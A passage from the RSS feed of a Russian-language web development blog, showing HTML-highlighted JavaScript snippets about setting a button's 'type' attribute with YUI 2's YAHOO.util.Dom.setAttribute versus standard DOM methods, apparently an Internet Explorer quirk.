YAHOO.<span style="color: #660066;">util</span>.<span style="color: #660066;">Dom</span>.<span style="color: #660066;">setAttribute</span><span style="color: #009900;">&#40;</span>button<span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;type&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;button&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>для задания необходимо пользоваться стандартными методами DOM:</p>
<div class="codecolorer-container javascript vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> button <span style="color: #339933;">=</span> document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;button&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
button.<span style="color: #660066;">setAttribute</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;type&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;button&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>Причем остальные методы кроме <code class="codecolorer javascript default"><span class="javascript">setAttribute</span></code> отрабатывают нормально:</p>
<div class="codecolorer-container javascript vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> button <span style="color: #339933;">=</span> document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;button&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
YAHOO.<span style="color: #660066;">util</span>.<span style="color: #660066;">Dom</span>.<span style="color: #660066;">addClass</span><span style="color: #009900;">&#40;</span>button<span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;ok-button&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
YAHOO.<span style="color: #660066;">util</span>.<span style="color: #660066;">Dom</span>.<span style="color: #660066;">setStyle</span><span style="color: #009900;">&#40;</span>button<span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;margin&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;1em&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/yui-2-dom-setattribute-interner-explorer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

